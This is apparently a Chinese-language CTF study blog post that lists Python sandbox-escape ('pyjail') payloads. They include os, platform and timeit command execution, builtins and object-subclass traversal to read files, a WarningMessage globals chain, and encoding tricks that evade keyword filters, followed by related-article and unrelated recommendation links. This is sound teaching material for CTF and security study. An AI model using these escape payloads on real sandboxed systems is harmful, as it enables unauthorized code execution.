前言

最近遇到了很多python沙盒逃逸的题目(不知道是不是因为现在python搭的站多了……),实际使用时发现只会复制别人的payload是不够用的,于是自己来总结一波(顺带一提python沙盒逃逸的英文似乎是pyjail……)

姿势

os

import os
os.system('dir')
os.popen('dir').read()

platform

import platform
platform.popen('dir').read()
platform.os.system('dir')

timeit

import timeit
timeit.timeit("__import__('os').system('dir')")

__import__

__import__的作用就是导入一个包,和import的功能相同

__import__('os')
__import__('os').system('dir') import os
os.system('dir')

__builtins__

__builtins__指的是python的内置函数(即预定义函数)

dir(__builtins__),可以看到支持很多种函数(如open),所以可以使用

__builtins__.open()

来打开文件,读文件就可以靠file类的read方法了

__builtins__.open('1.txt').read()

__dict__

__dict__,以字典形式储存类的方法和属性

__builtins__.__dict__['__import__']

sys

有些时候会将重要包的路径从sys.modules中移除,这时就要

import sys
sys.modules['os']='/usr/lib/python2.7/os.py'

重新定义一下os的路径

getattr和__getattribute__和__getitem__

如果将方法关键字过滤掉,直接用.来使用方法就不能成功,这时需要使用getattr()函数和__getattribute__方法,或者__getitem__取得字典中的某种方法

getattr(__import__('os'),'system')('dir')
__import__('os').__getattribute__('system')('dir')
__import__('os').__dict__.__getitem__('system')('dir')

reload

有时候会将__builtins__中的一些方法移出这时只要reload一下即可

但Python 3.0把reload内置函数移到了imp标准库模块中

reload(__builtins__)

object类

因为object类存在__subclass__方法,可以获得所有的子类(其中包括file类,所以可以读取文件),获得object类的方式

().__class__.__bases__[0] #__bases__显示上一个继承的类
''.__class__.__mro__[2] #__mro__显示类的继承关系
''.__class__.__bases__[0].__bases__ 读文件:
().__class__.__bases__[0].__subclasses__()[40]("1.txt").read()

globals(),local(),vars()

当前的符号表(其中存在__builtins__)

奇妙的warnings.WarningMessage类

warnings.WarningMessage类在object类的第60个子类,直接放payload吧(自己也没怎么懂……)

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))

().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__

绕过过滤

有时候会对关键字进行过滤可以使用不同编码来过滤,但只能在以字典形式调用方法时才能使用

'X19pbXBvcnRfXw=='.decode('base64')  => '__import__'
''.join(['__imp','ort__']) => '__import__'
'__tropmi__'[::-1] => '__import__'
'__imp'+'ort__' => '__import__'
'__buihf9ns__'.replace('hf9','ldi')
dir()[0] => '_'

结语

方法:

  1. 找到文件类
  2. 找到读取文件的方法
  3. 找到os

其他的都是绕过过滤吧……

python沙盒逃逸的更多相关文章

  1. python-Flask模版注入攻击SSTI(python沙盒逃逸)

    一篇以python Flask 模版渲染为例子的SSTI注入教学~ 0x01 Flask使用和渲染 这里简化了flask使用和渲染的教程 只把在安全中我们需要关注的部分写出来 来一段最简单的FLASK ...

  2. SSTI注入绕过(沙盒逃逸原理一样)

    在python沙盒逃逸中绕过道理是一样的. 1.python沙盒中删除了很多模块,但是没有删除reload reload(__builtins__),重新加载被删除的模块,直接命令执行,只用于py2 ...

  3. 再谈CVE-2017-7047 Triple_Fetch和iOS 10.3.2沙盒逃逸

    作者:蒸米 ----------------- 0x00 序 Ian Beer@google发布了CVE-2017-7047Triple_Fetch的exp和writeup[1],chenliang@ ...

  4. Python沙盒环境配置

    一.简介 本文介绍配置python沙盒环境的方法步骤. 二.安装步骤 1.安装pyenv http://www.cnblogs.com/274914765qq/p/4948530.html 2.安装v ...

  5. seccomp沙盒逃逸基础——沙盒的规则编写

    seccomp沙盒逃逸基础--沙盒的规则编写 引入: 安全计算模式 seccomp(Secure Computing Mode)是自 Linux 2.6.10 之后引入到 kernel 的特性.一切都 ...

  6. python - 沙盒环境 - virtualenv - 简明使用录

    1. 不讲安装,没意思 2. 使用 virtualenv ENV # 建立环境,ENV你可以随便定,看起来像是 mkdir ENV cd ENV # 进目录呗 source bin/activate ...

  7. python项目在无外网的生产环境解决沙盒依赖问题

    参考 https://yq.aliyun.com/articles/159599 https://www.jianshu.com/p/08c657bd34f1 缺点是 只能针对python的环境 做沙 ...

  8. python:沙盒(virtualenv)

    当电脑需要使用多个版本的python时,可以使用沙盒:或者使用docker: virtualenv是Python自带的,通过pip安装的 [root@centos7 public]# cd jinji ...

  9. python的沙盒环境--virtualenv

      VirtualEnv用于在一台机器上创建多个独立的python运行环境,VirtualEnvWrapper为前者提供了一些便利的命令行上的封装. 使用 VirtualEnv 的理由: 隔离项目之间 ...

随机推荐

  1. Java中关于Arrays.asList方法的深入学习与理解

    Java的标准库中在java.util包下提供了很多实用的工具类,如:Arrays,Collections等工具类都提供了一些比较实用的方法.在实际的开发使用中,我们经常需要使用这样的需求:将一个数组 ...

  2. windows中apache+tomcat整合,使php和java项目能够独立运行

    一.下载和安装 1.安装php  网上有安装教程,不再赘述 2.安装apache 比如安装目录为e:\apache;  项目根目录为e:\www;   网上有安装教程,不再赘述 3.安装jdk  不再 ...

  3. [DeeplearningAI笔记]序列模型2.6Word2Vec/Skip-grams/hierarchical softmax classifier 分级softmax 分类器

    5.2自然语言处理 觉得有用的话,欢迎一起讨论相互学习~Follow Me 2.6 Word2Vec Word2Vec相对于原先介绍的词嵌入的方法来说更加的简单快速. Mikolov T, Chen ...

  4. UVA 1647 Computer Transformation

    https://vjudge.net/problem/UVA-1647 题意: 开始有一个1,接下来每一步1变成01,0变成10 问n不之后00的个数 打表找规律 第3步之后: 如果第i步之后有x个字 ...

  5. CF821 B. Okabe and Banana Trees 简单数学

    Link 题意:给出一条直线,在直线上取一点,其垂直x,y轴作成一个,求矩阵中所有包含的点的x,y坐标之和的最大值. 思路:对于一个任意一点我们计算公式,对于任意一点$(x, y)$,有$(x+y)^ ...

  6. 2015/9/28 Python基础(19):类的定制和私有性

    用特殊方法定制类前面我们讲了方法的两个重要方面:首先,方法必须在调用前被绑定(到它们相应类的某个实例中):其次,有两个特殊方法可以分别作为构造器和解构器的功能,分别名为__init__()和__del ...

  7. Centos7系统环境下Solr之Java实战(一)搭建solr服务器

    搭建步骤 1.分别上传tomcat.sorl到指定文件夹并解压 2.把solr部署到Tomcat下 通过命令 cp apache-tomcat-7.0.47 /usr/local/sorl/tomca ...

  8. HTML DOM 节点介绍(nodeName,nodeValue,nodeType)

    对于初学者来说,HTML DOM 里面的 nodeName.nodeValue 以及 nodeType 三个属性的作用和取值不是很清楚.下面整理的信息包含有关于节点的详细信息,供参考. 节点信息 每个 ...

  9. [php]数组建立方式

    1.$a[0]=..; $a[1]=..; $a[2]=..; $a[3]=..; 2.$a=array(1,2,3,4,5); 3.自定义数组 $a['logo']="qq"; ...

  10. 爬虫--Scrapy之Downloader Middleware

    下载器中间件(Downloader Middleware) 下载器中间件是介于Scrapy的request/response处理的钩子框架. 是用于全局修改Scrapy request和respons ...